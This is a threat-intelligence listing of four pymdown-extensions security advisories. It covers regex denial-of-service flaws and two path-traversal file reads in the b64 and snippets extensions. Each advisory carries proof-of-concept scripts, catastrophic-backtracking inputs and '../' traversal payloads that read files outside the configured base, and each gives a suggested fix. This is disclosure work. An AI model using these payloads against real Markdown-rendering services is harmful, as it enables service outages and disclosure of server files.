Skip to main content

Threat Intelligence Database

Comprehensive database of the latest cyber threats affecting organizations worldwide. Filter and search to find specific threat intelligence relevant to your organization.

Pro Console Lifetime

Stop chasing alerts. Route them.

Start free, then upgrade once to turn Radar into an automated delivery engine for your security stack.

Custom feeds / Automations: email, Slack, webhooks, SIEM/MISP / API access (baseline limits)

View Plans & Pricing

API access activates after upgrading in Console -> Billing.

Breach by OffSeqOFFSEQFRIENDS — 25% OFF

Check if your credentials are on the dark web

Instant breach scanning across billions of leaked records. Free tier available.

Scan now

Filter Threats

Narrow down the results by type, severity, or affected countries

Search threats by title, CVE ID, or description. Maximum 100 characters.
Active filters (1):Package: pkg:pypi/pymdown-extensions

Threat Intelligence

Click on any threat for detailed analysis and mitigation recommendations

### Summary Four inline processors in pymdown-extensions contain regular expressions with exponential backtracking. A single untrusted Markdown line under 50 bytes drives `markdown.markdown()` into unbounded CPU on the rendering thread (seconds at ~45 bytes, growing exponentially with each added character). All four fire in the extension's **default configuration** and are reachable through the documented public API. The `caret`/`tilde`/ `betterem` blow-up was introduced by the emphasis-pattern rewrite in PR #2547 (first released in **10.13**, Dec 2024) — earlier releases used a linear `(.+?)` / `([^\s]+?)` content group — and is present through **11.0** (latest); `magiclink`'s host pattern is long-standing and affects effectively all releases. Likely **CWE-1333 (Inefficient Regular Expression Complexity)**. This is a distinct issue from CVE-2025-68142 (ReDoS in `pymdownx.blocks.caption`, `RE_FIG_NUM`, fixed in 10.16.1): different extensions, different regexes, and a different root cause (delimiter-run partition ambiguity rather than a `.`/`\.` typo). ### Details Four regexes share, or closely mirror, a vulnerable shape — an inner group that can partition a run of the delimiter character into `{2,}`-sized pieces in exponentially many ways, wrapped in a lazy `+?` that must fail before the engine can give up: | Extension | Regex | Location (`11.0`) | |---|---|---| | `pymdownx.caret` (superscript `^…^`) | `SUP2` | `pymdownx/caret.py:56` | | `pymdownx.tilde` (subscript `~…~`) | `SUB2` | `pymdownx/tilde.py:55` | | `pymdownx.betterem` (underscore `_…_`) | `SMART_UNDER_EM2` (default) | `pymdownx/betterem.py:93` | | `pymdownx.magiclink` (bare-URL autolink) | `RE_LINK` | `pymdownx/magiclink.py:56` (host at `:59`) | `pymdownx/caret.py:56` (`pymdown-extensions 11.0`): ```python SUP2 = r'(?<!\^)(\^)(?![\^\s])((?:[^\^\s]|\^{2,})+?)(?<![\^\s])(\^)(?!\^)' ``` The content group `(?:[^\^\s]|\^{2,})+?` matches a run of carets only via the `\^{2,}` branch. A run of *k* carets can be split into ≥2-length pieces in exponentially many combinations; when no caret can serve as a valid closing delimiter (the trailing `(?<![\^\s])(\^)` cannot be satisfied), the engine explores every partition before failing. `SUB2` (tilde) and `SMART_UNDER_EM2` (betterem) are the same construct for `~` and `_`. In `betterem` the default `smart_enable='underscore'` routes underscores to `SmartUnderscoreProcessor` → `SMART_UNDER_EM2` (`betterem.py:93`), which is the default-reachable, API-exploitable pattern; the non-smart `UNDER_EM2` (`:69`, used only when `smart_enable` is `asterisk`/`disable`) shares the shape but did not reproduce through the public `markdown.markdown()` pipeline on the tested payload, so a fix and regression test should target `SMART_UNDER_EM2`. `pymdownx/magiclink.py:59` has the analogous ambiguity in the host portion, where overlapping character classes let a run of dots be grouped exponentially: ```python (?:ht|f)tps?://[^_\W][-\w]*(?:\.[-\w.]+)* # host: '\.' and '[-\w.]' inside (?:...)* both match '.' ``` `SUP2`/`SUB2`/`SMART_UNDER_EM2` are applied at each delimiter occurrence via the default `PatternSequenceProcessor` subclasses (`pymdownx/util.py`); `RE_LINK` is applied by `MagiclinkPattern` (registered unconditionally at priority 85). In all four cases, rendering `markdown.markdown(src, extensions=[ext])` on untrusted `src` in default configuration is sufficient to reach the regex. ### PoC Single self-contained script; runs against the pinned release in an ephemeral env. Non-destructive — the input is ordinary Markdown text; the impact is CPU/time (a per-render alarm caps each attempt so the script terminates). ```python import signal import time from importlib.metadata import version import markdown print(f"# pymdown-extensions {version('pymdown-extensions')} / markdown {version('markdown')}") CAP = 5.0 # a single render exceeding this is treated as a hang class Timeout(Exception): pass def render(ext, text): signal.signal(signal.SIGALRM, lambda *_: (_ for _ in ()).throw(Timeout())) signal.setitimer(signal.ITIMER_REAL, CAP) t = time.perf_counter() try: markdown.markdown(text, extensions=[ext]) return time.perf_counter() - t except Timeout: return None finally: signal.setitimer(signal.ITIMER_REAL, 0) # ext -> (malicious builder, benign builder [valid & closed], ramp, hang count) CASES = { "pymdownx.caret": (lambda n: "^a" + "^" * n + "b", lambda n: "^" + "a" * n + "^", [24, 30, 36], 44), "pymdownx.tilde": (lambda n: "~a" + "~" * n + "b", lambda n: "~" + "a" * n + "~", [24, 30, 36], 44), "pymdownx.betterem": (lambda n: "_a" + "_" * n + "b", lambda n: "_" + "a" * n + "_", [24, 30, 36], 44), "pymdownx.magiclink": (lambda n: "http://a" + "." * n + " ", lambda n: "http://" + "a" * n + ".com ", [28, 32, 36], 40), } repro = [] for ext, (evil, benign, ramp, hang) in CASES.

Join the discussion

### Summary The `b64` extension inlines images referenced by `<img src="...">` as base64 data URIs. When resolving the `src` path it joins it onto the configured `base_path` with `os.path.normpath` and opens the result directly, with no check that the resolved path stays inside `base_path`. A `src` containing `../` sequences, or an absolute path, therefore reads a file outside `base_path` as long as that file has an allowed image extension (`.png`, `.jpg`, `.jpeg`, `.gif`, `.svg`). The base64 of that file is then embedded in the rendered output, disclosing its contents. This is a separate code path from the `snippets` traversal issues (GHSA-jh85-wwv9-24hv, GHSA-62q4-447f-wv8h). It lives in `pymdownx/b64.py` and has no path restriction of any kind. Confirmed on `10.21.3` installed from PyPI. ### Details In `pymdownx/b64.py`, function `repl_path` (around lines 68 to 90 on `main`): ```python if is_absolute: file_name = os.path.normpath(path) # absolute src: base_path ignored entirely else: file_name = os.path.normpath(os.path.join(base_path, path)) # relative src: '../' escapes base_path if os.path.exists(file_name): ext = os.path.splitext(file_name)[1].lower() for b64_ext in file_types: if ext in b64_ext: with open(file_name, "rb") as f: # opened with no containment check ... ``` There is no `startswith(base_path)`, no `os.path.realpath` comparison, and no rejection of `..`. Both branches are reachable from an attacker-controlled `src`. ### PoC Reproduced against an unmodified `pymdown-extensions==10.21.3` from PyPI. The script creates a `base_path` directory and a PNG one level above it, then renders Markdown whose image `src` points outside `base_path`, and confirms the outside file's bytes appear base64-encoded in the output. ```python import base64, os, shutil, tempfile, markdown root = tempfile.mkdtemp() base_path = os.path.join(root, "docs"); os.makedirs(base_path) outside = os.path.join(root, "secret"); os.makedirs(outside) png = base64.b64decode( "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNk" "+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg==" ) with open(os.path.join(outside, "secret.png"), "wb") as f: f.write(png) md = markdown.Markdown( extensions=["pymdownx.b64"], extension_configs={"pymdownx.b64": {"base_path": base_path}}, ) html = md.convert('<img src="../secret/secret.png">') assert base64.b64encode(png).decode() in html, "not leaked" print("LEAKED:", html) ``` Output: ``` LEAKED: <p><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQ..."></p> ``` The base64 of a file outside `base_path` is present in the output. The absolute-path branch behaves the same way: an absolute `src` bypasses `base_path` entirely via `os.path.normpath(path)`. Both were confirmed leaking. ### Impact An application that renders untrusted Markdown with `pymdownx.b64` enabled exposes the contents of image-extension files on the server, or any path the process can read, to whoever controls the Markdown and whoever views the output. The reach is bounded by the image-extension check, so it is a targeted file read rather than full arbitrary read, but it still discloses file contents that were never meant to be exposed. ### Suggested fix Resolve the real path and require it to stay within `base_path` before opening: ```python file_name = os.path.realpath(os.path.join(base_path, path)) base_real = os.path.realpath(base_path) if file_name != base_real and not file_name.startswith(base_real + os.sep): return m.group(0) # leave the tag untouched; do not read outside base_path ``` The same containment check should apply to the absolute-path branch rather than trusting an absolute `src`. Using `realpath` instead of `abspath` also closes the related symlink-following gap in the snippets handler.

Join the discussion

# Summary `pymdownx.snippets` has a regression of the CVE-2023-32309 / GHSA-jh85-wwv9-24hv fix. With `restrict_base_path: True` (the default), the current `filename.startswith(base)` containment check does not enforce a directory boundary. As a result, a markdown snippet directive can read files from sibling paths that share the same prefix as `base_path`, such as `docs` vs `docs_internal`. The regression was introduced in PR #2039 / commit `7c13bda5b7793b172efd1abb6712e156a83fe07d`, which replaced the original directory-identity check with a plain string-prefix comparison. # Details The regression was introduced in commit `7c13bda5b7793b172efd1abb6712e156a83fe07d` (2023-05-15, #2039 *"Fix regression of snippets nested deeply under specified base path"*), which relaxed the original `os.path.samefile(base, os.path.dirname(filename))` check to a plain `startswith(base)`. `SnippetPreprocessor.get_snippet_path()` in `pymdownx/snippets.py`: ```python if self.restrict_base_path: filename = os.path.abspath(os.path.join(base, path)) # If the absolute path is no longer under the specified base path, reject the file if not filename.startswith(base): continue ``` `base` is `os.path.abspath(b)` and has no trailing separator. `str.startswith(base)` is `True` for any `filename` whose string representation begins with the same characters as `base`, regardless of whether those characters end at a directory boundary. Concrete example: * `base = "/x/docs"` * `path = "../docs_secret/leak.txt"` (inside the markdown snippet directive) * `os.path.join(base, path)` → `"/x/docs/../docs_secret/leak.txt"` * `os.path.abspath(...)` → `"/x/docs_secret/leak.txt"` * `filename.startswith(base)` → `True`, because `"/x/docs_secret/..."` begins with the literal string `"/x/docs"`. All releases from **10.0.1 (2023-05-15) through 10.21.2 (current)** are affected. # Impact Arbitrary file read within the host the build runs on, bounded by the prefix match. With `base_path = /x/docs` the attacker can read files from any sibling directory whose path begins with the literal string `/x/docs` followed by any non-separator character — for example `/x/docs_internal/`, `/x/docs.bak/`, `/x/docs2/`. The threat model is the same as the original CVE-2023-32309: markdown content processed by the snippets preprocessor in a build pipeline (typical scenario: an MkDocs documentation site built in CI from PR contributions or otherwise less-trusted markdown) can read files outside the configured base. CI builds that publish the generated HTML expose the read file to the public; CI builds with secrets on disk leak those secrets. # Reproduction Minimal local PoC, non-destructive: ```python import os, shutil, tempfile, markdown work = tempfile.mkdtemp(prefix="pmx_poc_") try: base = os.path.join(work, "docs") sibling = os.path.join(work, "docs_secret") os.makedirs(base) os.makedirs(sibling) with open(os.path.join(sibling, "leak.txt"), "w") as f: f.write("TOP_SECRET_FROM_SIBLING_DIR\n") out = markdown.markdown( '--8<-- "../docs_secret/leak.txt"\n', extensions=["pymdownx.snippets"], extension_configs={ "pymdownx.snippets": { "base_path": [base], "restrict_base_path": True, "check_paths": True, } }, ) print(out) # -> <p>TOP_SECRET_FROM_SIBLING_DIR</p> finally: shutil.rmtree(work) ``` Default `restrict_base_path: True` is sufficient — no non-default option is required. # Suggested fix Minimal change — require the separator after the base prefix: ```diff - if not filename.startswith(base): + # Append `os.sep` so a sibling directory whose name shares a prefix + # (e.g. `/x/docs` vs `/x/docs_evil`) cannot satisfy the check. + if not filename.startswith(base + os.sep): continue ``` This preserves the original intent (allow snippets nested at any depth under `base_path`) while restoring the directory-boundary check. It does not affect the `os.path.isdir(base)` branch where `base` is a file (that branch still uses `os.path.samefile`). Alternative: `os.path.commonpath([base, filename]) == base` is equivalent and slightly more idiomatic, though it raises `ValueError` on different drives on Windows and would need a `try/except`. The `startswith(base + os.sep)` fix is the smaller diff. Note: this fix does not change behaviour for symlinks inside `base_path`. The existing implementation uses `os.path.abspath` (not `os.path.realpath`), so a symlink within `base_path` pointing outside is still followed. That is a separate concern — symlinks require write access to `base_path`, a much higher bar than the current bypass — and matches the behaviour the CVE-2023 fix established. # Regression test A regression test class `TestSnippetsSiblingPrefix` was added in `tests/tes

Join the discussion

### Impact This issue describes a ReDOS bug found within the figure caption extension (`pymdownx.blocks.caption` ). In systems that take unchecked user content, this could cause long hangs when processing the data if a malicious payload was crafted. ### Patches This issue is patched in Release [10.16.1](https://pypi.org/project/pymdown-extensions/10.16.1/). ### Workarounds Some possible workarounds If users are concerned about this vulnerability and process unknown user content without timeouts or other safeguards in place to prevent really large, malicious content being aimed at systems, the use of `pymdownx.blocks.caption` could be avoided until the library is updated to 10.16.1+. ### References The original issue https://github.com/facelessuser/pymdown-extensions/issues/2716. ### Description The original issue came through PyMdown Extensions' normal issue tracker instead of the typical security flow: https://github.com/facelessuser/pymdown-extensions/issues/2716. Because this came through the normal issue flow, it was handled as a normal issue. In the future, PyMdown Extensions will ensure such issues, even if prematurely made public through the normal issue flow, are redirected through the typical security process. The regular expression pattern in question is as follows: ```py RE_FIG_NUM = re.compile(r'^(\^)?([1-9][0-9]*(?:.[1-9][0-9]*)*)(?= |$)') ``` The POC was provided by @ShangzhiXu ```py import re import time regex_pattern = re.compile(r'^(\^)?([1-9][0-9]*(?:.[1-9][0-9]*)*)(?= |$)') for i in range(50, 500, 50): long_string = '1' * i + 'a' start_time = time.time() match = re.match(regex_pattern, long_string) end_time = time.time() print(f"long_string execution time: {end_time - start_time:.6f} s") ``` The issue with the above pattern is that `.` was used, which accepts any character when we meant to use `\.`. The fix was to update the pattern to: ```py RE_FIG_NUM = re.compile(r'^(\^)?([1-9][0-9]*(?:\.[1-9][0-9]*)*)(?= |$)') ``` Relevant PR with fix: https://github.com/facelessuser/pymdown-extensions/pull/2717 ### Version(s) & System Info - Operating System: Any - Python Version: Any

Join the discussion

Showing 1 to 4 of 4 results

Filters:Package: pkg:pypi/pymdown-extensions
Page 1 of 1
OffSeq TrainingCredly Certified

Lead Pen Test Professional

Technical5-day eLearningPECB Accredited
View courses